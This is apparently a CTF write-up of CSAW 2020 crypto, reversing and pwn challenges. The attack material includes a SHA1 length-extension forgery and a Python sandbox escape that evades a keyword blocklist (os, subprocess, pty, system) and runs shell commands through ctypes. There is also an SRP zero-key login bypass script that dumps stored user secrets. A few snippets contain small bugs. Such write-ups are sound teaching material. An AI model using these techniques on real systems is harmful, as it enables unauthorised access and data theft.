## sanity
Join their Discord channel and look at the announcement channel topic.
flag{w3lc0m3_t0_csaw2020}
## Perfect Secrecy
If you have two pictures XORed with the same key, then `A ^ key ^ B ^ key = A ^ B`, meaning you get two pictures super-imposed. Solution:
```ruby
require 'chunky_png'
img1 = ChunkyPNG::Image.from_file('image1.png')
img2 = ChunkyPNG::Image.from_file('image2.png')
out = ChunkyPNG::Image.new(img1.width, img1.height, ChunkyPNG::Color::TRANSPARENT)
img1.pixels.length.times do |i|
a = img1.pixels[i] == ChunkyPNG::Color::BLACK ? 1 : 0
b = img2.pixels[i] == ChunkyPNG::Color::BLACK ? 1 : 0
out.pixels[i] = (a ^ b) == 1 ? ChunkyPNG::Color::BLACK : ChunkyPNG::Color::WHITE
end
out.save('out.png')
```
The image shows a base64-encoded flag:
```
$ base64 -d <<< ZmxhZ3swbjNfdDFtM19QQGQhfQ==
flag{0n3_t1m3_P@d!}
```
## modus_operandi
```
$ nc crypto.chal.csaw.io 5001
Hello! For each plaintext you enter, find out if the block cipher used is ECB or CBC. Enter "ECB" or "CBC" to get the flag!
Enter plaintext:
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Ciphertext is: e4667bbed18e16bfc2d6dbbea56d5241e4667bbed18e16bfc2d6dbbea56d5241e4667bbed18e16bfc2d6dbbea56d5241e4667bbed18e16bfc2d6dbbea56d5241e4667bbed18e16bfc2d6dbbea56d5241e4667bbed18e16bfc2d6dbbea56d5241f2a026af8ec44689976f9e280770030c
ECB or CBC?
```
This is an ECB/CBC oracle (see Cryptopals #11). Except not really, it never gives out the flag and quits on you if you guess wrong, so maybe just guess right really often (the hint speaks of <200 times)...
```ruby
require 'pwn'
def repeated_block?(bytes)
blocks = bytes.each_slice(16).to_a
blocks != blocks.uniq
end
s = Sock.new('crypto.chal.csaw.io', 5001)
s.recvline # greeting
i = 1
loop do
puts "Round #{i}"
s.recvline
s.sendline('A' * 32)
s.recvline
ciphertext = line[/: *([0-9a-f]+)/] && $1
s.recvline # ECB or CBC?
if repeated_block?(ciphertext.chars)
s.sendline('ECB')
STDERR.write(0)
else
s.sendline('CBC')
STDERR.write(1)
end
i += 1
end
```
The correct solution turned out to be underwhelming. A certain CTF player once told me a story of a challenge where a certain (unreliable) service was sending out a stream of binary information. This inspired me to send ones and zeroes to STDERR, depending on the detected mode:
```
01100110011011000110000101100111011110110100010101000011010000100101111101110010011001010100000001101100011011000111100101011111011100110101010101100011011010110010010001111101
flag{ECB_re@lly_sUck$}
```
## difib
Some classic crypto. The `ramblings` file contains lines with many words that span the entire alphabet. After cleaning up in Emacs, they look as follows:
```
mrjocktvquizphdbagsfewlynx
twodrivenjockshelpfaxmybigquiz
jocknymphswaqfdrugvexblitz
ficklejinxbogdwarvesspymathquiz
crwthvoxzapsqigymfjeldbunk
publicjunkdwarveshugmyquartzfox
quickfoxjumpsnightlyabovewizard
hmfjordwaltzcinqbuskpyxveg
phavfyxbugstonqmilkjzdcrew
wovensilkpyjamasexchangedforbluequartz
thequickonyxgoblinjumpsoverthelazydwarf
foxydivajenniferlopezwasntbakingmyquiche
hesaidbcfgjklmnopqrtuvwxyz
jenqvahlbidgumkrwcfpostxyz
brawnygodsjustflockeduptoquizandvexhim
emilyqjungschwarzkopfxtvbd
mygirlwovesixdozenplaidjacketsbeforeshequit
johnfezcamrwsputyxigkqblvd
qtipforsuvnzxylemdcbaghwjk
jumblingvextfrowzyhackspdq
jimquicklyrealizedthatthebeautifulgownsareexpensive
jqvandzstruckmybigfoxwhelp
howrazorbackjumpingfrogscanlevelsixpiquedgymnasts
lumpydrabcgqvzjinksfoxthew
fakebugsputinwaxjonquilsdrivehimcrazy
thejaypigfoxzebraandmywolvesquack
heyiamnopqrstuvwxzbcdfgjkl
quizjvbmwlynxstockderpaghf
pledbigczarjunksmyvwfoxthq
thebigplumpjowlsofzanydicknixonquiver
waltzgbquickfjordsvexnymph
qwertyuioplkjhgfdsazxcvbnm
cozylummoxgivessmartsquidwhoasksforjobpen
zyxwvutsrqponmlkjihgfedcba
fewblacktaxisdriveupmajorroadsonquiethazynights
aquickbrownfxjmpsvethlzydg
boredcravingapubquizfixwhyjustcometotheroyaloak
```
The hint suggests the 26-letter ones are keys, but also says it's 25 letters. Some searching around shows a bifid cipher, where a common adjustment is to combine i and j into one letter, so cleanup requires removing j as well. Another hint suggests the message has been encrypted several times in a row using these 25-letter keys, so to decrypt this needs to be done with them in reverse. Some copy-pasting into
https://www.dcode.fr/bifid-cipher later I get this:
xustxsomexunnecessaryxtextxthatxholdsxabsolutelyxnoxmeaningxwhatsoeverxandxbearsxnoxsignificancextoxyouxinxanyxway
Feed it to the service:
```
$ nc crypto.chal.csaw.io 5004 <<< 'just some unnecessary text that holds absolutely no meaning whatsoever and bears no significance to you in any way'
> Alright messenger, what did the boss tell you to tell me? Better be right or you're not getting in!
flag{t0ld_y4_1t_w4s_3z}
```
## authy
SHA1 length extension. Start with creating a message giving you a hash, then extend it by something that would give you the flag. For example:
```
Input Signature: c5478c56b0fe5e345a0ea708270a9bbd540ca08f
Input Data: admin=False&access_sensitive=False&author=test¬e=test2&entrynum=783
Input Key Length: 3
Input Data to Add: =1&admin=True&access_sensitive=True&entrynum=7
ca5785437eda8ee94f3658fbdec107ee889b3124
admin=False&access_sensitive=False&author=test¬e=test2&entrynum=783\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02H=1&admin=True&access_sensitive=True&entrynum=7
```
There's at least two automated tools that help with performing these attacks, except that it's not that simple. The extended string must be UTF-8 clean (\x80 will raise an error, Python converts \xc2\x80 to \x80), but the string that's hashed is decoded without UTF-8 errors and leaves any escaping byte intact.
## baby_mult
Decoder:
```ruby
bytes = File.open('program.txt').read.split(', ').map(&:to_i)
File.open('program', 'wb') { |f| bytes.each { |b| f.write(b.chr) } }
```
Disassembly:
```
$ r2 -q -cpd program
0x00000000 55 push rbp
0x00000001 4889e5 mov rbp, rsp
0x00000004 4883ec18 sub rsp, 0x18
0x00000008 48c745f84f00. mov qword [rbp - 8], 0x4f ; 'O' ; 79
0x00000010 48b8154fe74b. movabs rax, 0x14be74f15
0x0000001a 488945f0 mov qword [rbp - 0x10], rax
0x0000001e 48c745e80400. mov qword [rbp - 0x18], 4
0x00000026 48c745e00300. mov qword [rbp - 0x20], 3
0x0000002e 48c745d81300. mov qword [rbp - 0x28], 0x13
0x00000036 48c745d01501. mov qword [rbp - 0x30], 0x115 ; 277
0x0000003e 48b8615b644b. movabs rax, 0x77cf4b645b61
0x00000048 488945c8 mov qword [rbp - 0x38], rax
0x0000004c 48c745c00200. mov qword [rbp - 0x40], 2
0x00000054 48c745b81100. mov qword [rbp - 0x48], 0x11
0x0000005c 48c745b0c121. mov qword [rbp - 0x50], 0x21c1
0x00000064 48c745a8e965. mov qword [rbp - 0x58], 0x182265e9
0x0000006c 48c745a03308. mov qword [rbp - 0x60], 0x833 ; 2099
0x00000074 48c74598ab0a. mov qword [rbp - 0x68], 0xaab ; 2731
0x0000007c 48c74590adaa. mov qword [rbp - 0x70], 0x8daaad
0x00000084 488b45f8 mov rax, qword [rbp - 8]
0x00000088 480faf45f0 imul rax, qword [rbp - 0x10]
0x0000008d 48894588 mov qword [rbp - 0x78], rax
0x00000091 488b45e8 mov rax, qword [rbp - 0x18]
0x00000095 480faf45e0 imul rax, qword [rbp - 0x20]
0x0000009a 480faf45d8 imul rax, qword [rbp - 0x28]
0x0000009f 480faf45d0 imul rax, qword [rbp - 0x30]
0x000000a4 480faf45c8 imul rax, qword [rbp - 0x38]
0x000000a9 48894580 mov qword [rbp - 0x80], rax
0x000000ad 488b45c0 mov rax, qword [rbp - 0x40]
0x000000b1 480faf45b8 imul rax, qword [rbp - 0x48]
0x000000b6 480faf45b0 imul rax, qword [rbp - 0x50]
0x000000bb 480faf45a8 imul rax, qword [rbp - 0x58]
0x000000c0 48898578ffff. mov qword [rbp - 0x88], rax
0x000000c7 488b45a0 mov rax, qword [rbp - 0x60]
0x000000cb 480faf4598 imul rax, qword [rbp - 0x68]
0x000000d0 480faf4590 imul rax, qword [rbp - 0x70]
0x000000d5 48898570ffff. mov qword [rbp - 0x90], rax
0x000000dc b800000000 mov eax, 0
0x000000e1 c9 leave
```
I've created a dummy program to transplant this shellcode into using as many nops as its large (226 bytes):
```clike
int main(){
asm("nop"); // repeat 225 more times
}
```
Compile with `gcc -o program.elf program.c`, then edit with `r2 -w program.elf`:
```
s main
wx <shellcode hexstring>
q
```
Finally debug with GEF:
```
gef➤ start
gef➤ ni # repeat with return until leave instruction
gef➤ hexdump $rbp-0x90
0x00007fffffffea20 7d 6d 34 72 67 30 00 00 72 70 5f 64 31 6c 00 00 }m4rg0..rp_d1l..
0x00007fffffffea30 34 76 5f 72 33 70 75 73 7b 67 61 6c 66 00 00 00 4v_r3pus{galf...
0x00007fffffffea40 ad aa 8d 00 00 00 00 00 ab 0a 00 00 00 00 00 00 ................
0x00007fffffffea50 33 08 00 00 00 00 00 00 e9 65 22 18 00 00 00 00 3........e".....
```
Why 0x90? See `0x000000d5 48898570ffff. mov qword [rbp - 0x90], rax` in the disassembly...
Flag is encoded reverse on the stack:
```
$ ruby -e "puts '}m4rg0rp_d1l4v_r3pus{galf'.reverse"
flag{sup3r_v4l1d_pr0gr4m}
```
## slithery
Two Python sandboxes for the price of one. I initially probed it without reading the source code by studying
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/ for suitable payloads and found that `().__class__.__bases__[0].__subclasses__()` gives me all available classes to poke at the system. Unfortunately direct calls to interesting methods such as `read` raises an exception. The source code shows why:
```python
def main():
print("EduPy 3.8.2")
while True:
try:
command = input(">>> ")
if any([x in command for x in blacklist.BLACKLIST]):
raise Exception("not allowed!!")
final_cmd = """
uOaoBPLLRN = open("sandbox.py", "r")
uDwjTIgNRU = int(((54 * 8) / 16) * (1/3) - 8)
ORppRjAVZL = uOaoBPLLRN.readlines()[uDwjTIgNRU].strip().split(" ")
AAnBLJqtRv = ORppRjAVZL[uDwjTIgNRU]
bAfGdqzzpg = ORppRjAVZL[-uDwjTIgNRU]
uOaoBPLLRN.close()
HrjYMvtxwA = getattr(__import__(AAnBLJqtRv), bAfGdqzzpg)
RMbPOQHCzt = __builtins__.__dict__[HrjYMvtxwA(b'X19pbXBvcnRfXw==').decode('utf-8')](HrjYMvtxwA(b'bnVtcHk=').decode('utf-8'))\n""" + command
exec(final_cmd)
except (KeyboardInterrupt, EOFError):
return 0
except Exception as e:
print(f"Exception: {e}")
```
The outer filter looks for bad words. This can be bypassed by creating them, for example with string concatenation. A method can be called dynamically with `__getitem__('sy'+'stem')`. Deobfuscating the code shows that the inner sandbox is using numpy, a famous wrapper for C and Fortran libraries. The class list shows that the ctypes class is available for calling all kinds of interesting C functions, including `system`. Final payload:
```
$ nc pwn.chal.csaw.io 5011 <<< "print(blacklist.BLACKLIST)"
EduPy 3.8.2
>>> ['__builtins__', '__import__', 'eval', 'exec', 'import', 'from', 'os', 'sys', 'system', 'timeit', 'base64commands', 'subprocess', 'pty', 'platform', 'open', 'read', 'write', 'dir', 'type']
>>> %
$ nc pwn.chal.csaw.io 5011 <<< "print(().__class__.__bases__[0].__subclasses__()[245]('libc.so.6').__getitem__('sy'+'stem')(b'ls'))"
EduPy 3.8.2
>>> blacklist.py
flag.txt
runner.py
sandbox.py
solver.py
0
>>> %
$ nc pwn.chal.csaw.io 5011 <<< "print(().__class__.__bases__[0].__subclasses__()[245]('libc.so.6').__getitem__('sy'+'stem')(b'cat flag.txt'))"
EduPy 3.8.2
>>> flag{y4_sl1th3r3d_0ut}
0
>>> %
```
Digging a bit deeper in the system shows other interesting files, including the intended solution:
```python
>>> #!/usr/bin/env python3
from pwn import *
def main():
p = remote("localhost", "8000")
numpy_escape = "RMbPOQHCzt.vdot(RMbPOQHCzt.intc(), RMbPOQHCzt.ndarray(1, {}))"
py_escape = "[].__class__.__base__.__subclasses__()[134].__init__.__globals__['sys'].modules['os'].system('cat flag.txt')"
p.sendlineafter(">>> ", numpy_escape)
p.sendlineafter(">> ", py_escape)
p.interactive()
if __name__ == "__main__":
main()
```
## adversarial
I've cleaned up the base64 blocks into lines, saved them into a file and plugged it into my solution of Cryptopals #20 (breaking fixed-key CTR using statistics). Script output:
```
$ ruby 20.rb
[info] Max input length: 709
[info] Min input length: 134
What is real? How do yxu define real? If you're talki4g about what you can feel, what you can smell, what you ean.taste and see, then
Neo, sooner or later yxu're going to realize, just aszI did, that there's a difference between knowing the patn, ond walking the path.
The flag is: 4fb81eac0 29a -- The flag is: 4fb81eac07h9a -- The flag is: 4fb81eac0729a -- The flag is: 4fb81eae07<9a -- The flag is: 4
[...]
```
Send the "flag" to the online service to obtain the real one:
```
$ nc crypto.chal.csaw.io 5000
Hello Morpheus. Back from the mission so quickly? I see.
Well what flags have you discovered? See, if I like what you have, I'll be willing to trade with you...
> 4fb81eac0729a
flag{m1ss1on_acc00mpl11shheedd!!}
```
## smallsurp
Looks like Cryptopals #37 (notice a pattern there?), the idea is to login using a zero key. The special values `0` and `N` are blacklisted, but `2*N` and other multiples aren't. Client-side code reveals some parameters:
```javascript
$(document).ready(function() {
var A = "14618732422594675787299218245900819422984157674771916640682036020233037941962208047327526764580715520869484695942436491788526885178945338713117610820572901063912212439428075594675151383815414329169261394141063394929036994286144075950381917060913341834053561885777468837937873747885586816972017012548452657967";
$('#form').submit(function() {
$('<input />').attr('type', 'hidden')
.attr('name', "token1")
.attr('value', A)
.appendTo('#form');
return true;
});
// Yikes! Our engineers are very lazy and don't want to complete this project! I guess the only people that should be able to login have to know what they're doing :)
// SECURITY ENGINEERS:
// We are trying a new way to securely communicate sensitive information without sending it serverside. `/` should be your point of contact! Initiate a session with it, get some info from the server, and
// send back a request with params `username` and `computed` (created from the server's info), and if all good, you should get a landing page with info!
// Oh and here's some stuff you might need:
// g: 2, k: 3, N: 00ab76f585834c3c2b7b7b2c8a04c66571539fa660d39762e338cd8160589f08e3d223744cb7894ea6b424ebab899983ff61136c8315d9d03aef12bd7c0486184945998ff80c8d3d59dcb0196fb2c37c43d9cbff751a0745b9d796bcc155cfd186a3bb4ff6c43be833ff1322693d8f76418a48a51f43d598d78a642072e9fff533
});
```
Solve script:
```python
import hashlib
import requests
def xor_data(binary_data_1, binary_data_2):
return bytes([b1 ^ b2 for b1, b2 in zip(binary_data_1, binary_data_2)])
def hmac_sha256(key, message):
if len(key) > 64:
key = sha256(key).digest()
if len(key) < 64:
key += b'\x00' * (64 - len(key))
o_key_pad = xor_data(b'\x5c' * 64, key)
i_key_pad = xor_data(b'\x36' * 64, key)
return hashlib.sha256(o_key_pad + hashlib.sha256(i_key_pad + message).digest()).hexdigest()
# URL = '
http://localhost:5000/'
URL = '
http://crypto.chal.csaw.io:5005/'
USER = 'Jere'
N = int("00ab76f585834c3c2b7b7b2c8a04c66571539fa660d39762e338cd8160589f08e3d223744cb7894ea6b424ebab899983ff61136c8315d9d03aef12bd7c0486184945998ff80c8d3d59dcb0196fb2c37c43d9cbff751a0745b9d796bcc155cfd186a3bb4ff6c43be833ff1322693d8f76418a48a51f43d598d78a642072e9fff533", 16)
A = 2 * N
r1 = requests.post(URL, {'username': USER, 'token1': A})
salt = r1.json()['nacl']
S = 0
K = hashlib.sha256(str(S).encode()).digest()
server_hmac = hmac_sha256(K, salt.encode())
print(server_hmac)
r2 = requests.get(URL + 'dash/' + USER, params={'hmac': server_hmac}, cookies=r1.cookies)
print(r2.text)
```
Output:
```htmlmixed
<main role="main" class="col-md-9 ml-sm-auto col-lg-10 pt-3 px-4">
<div class="d-flex justify-content-between flex-wrap flex-md-nowrap align-items-center pb-2 mb-3 border-bottom">
<h1 class="h2">Dashboard</h1>
</div>
<p>Welcome to the dashboard, Jere! You are a priviledged administrator for the Company.</p>
<br>
<table class="table">
<thead>
<tr>
<th scope="col">Login Username</th>
<th scope="col">Password</th>
</tr>
</thead>
<tbody>
<tr>
<td>Jere</td>
<td>1:c4ee528d1e7d1931e512ff263297e25c:128</td>
</tr>
</tbody>
</table>
</main>
```
The hint suggests there's more secrets, so let's adjust the solve script a bit:
```python
import hashlib
import re
import requests
def xor_data(binary_data_1, binary_data_2):
return bytes([b1 ^ b2 for b1, b2 in zip(binary_data_1, binary_data_2)])
def hmac_sha256(key, message):
if len(key) > 64:
key = sha256(key).digest()
if len(key) < 64:
key += b'\x00' * (64 - len(key))
o_key_pad = xor_data(b'\x5c' * 64, key)
i_key_pad = xor_data(b'\x36' * 64, key)
return hashlib.sha256(o_key_pad + hashlib.sha256(i_key_pad + message).digest()).hexdigest()
# URL = '
http://localhost:5000/'
URL = '
http://crypto.chal.csaw.io:5005/'
N = int("00ab76f585834c3c2b7b7b2c8a04c66571539fa660d39762e338cd8160589f08e3d223744cb7894ea6b424ebab899983ff61136c8315d9d03aef12bd7c0486184945998ff80c8d3d59dcb0196fb2c37c43d9cbff751a0745b9d796bcc155cfd186a3bb4ff6c43be833ff1322693d8f76418a48a51f43d598d78a642072e9fff533", 16)
A = 2 * N
S = 0
K = hashlib.sha256(str(S).encode()).digest()
def solve(user):
r1 = requests.post(URL, {'username': user, 'token1': A})
salt = r1.json()['nacl']
server_hmac = hmac_sha256(K, salt.encode())
r2 = requests.get(URL + 'dash/' + user, params={'hmac': server_hmac}, cookies=r1.cookies)
return re.findall('<td>(.*)</td>', r2.text)[-1]
users = [
'Jere',
'Lakisha',
'Loraine',
'Ingrid',
'Orlando',
'Berry',
'Alton',
'Bryan',
'Kathryn',
'Brigitte',
'Dannie',
'Jo',
'Leslie',
'Adrian',
'Autumn',
'Kellie',
'Alphonso',
'Joel',
'Alissa',
'Rubin',
]
for user in users:
print(solve(user))
```
```
1:c4ee528d1e7d1931e512ff263297e25c:128
2:4b58b8b5285d2e8642a983881ed28fc7:128
3:7180fe06299e1774e0a18f48441efdaf:128
4:48359d52540614247337a5a1191034a7:128
5:1fcd4a7279840854989b7ad086354b21:128
6:f69f8e4ecde704a140705927160751d1:128
7:b0ca40dc161b1baa61930b6b7c311c30:128
8:04ed6f6bf5ec8c8c2a4d18dcce04ae48:128
9:430ad338b7b603d1770f94580f23cb38:128
10:d51669551515b6d31ce3510de343370f:128
11:b303ee7908dcbc07b8e9dac7e925a417:128
12:3c4a692ad1b13e27886e2b4893f8d761:128
13:a8e53ef9ee51cf682f621cb4ea0cb398:128
14:feb294f9380c462807bb3ea0c7402e12:128
15:9b2b15a72430189048dee8e9594c9885:128
16:f4d52e11f6f9b2a4bfbe23526160fdfd:128
17:d0f902472175a3f2c47a88b3b3108bb2:128
18:cc29eb96af9c82ab0ba6263a6e5a3768:128
19:913227d2d7e1a01b4ec52ff630053b73:128
20:8669dd2b508c2a5dfd24945f8577bd62:128
```
```
$ cat encrypted.txt
cbc:254dc5ae7bb063ceaf3c2da953386948:08589c6b40ab64c434064ec4be41c9089eefc599603bc7441898c2e8511d03f6
```
What I failed to figure out is that the 20 128bit hex strings were supposed to be a secret key split using Shamir's Secret Sharing Scheme. I suspected it, but didn't find an implementation that actually made sense of them. Next time:
https://pycryptodome.readthedocs.io/en/latest/src/protocol/ss.html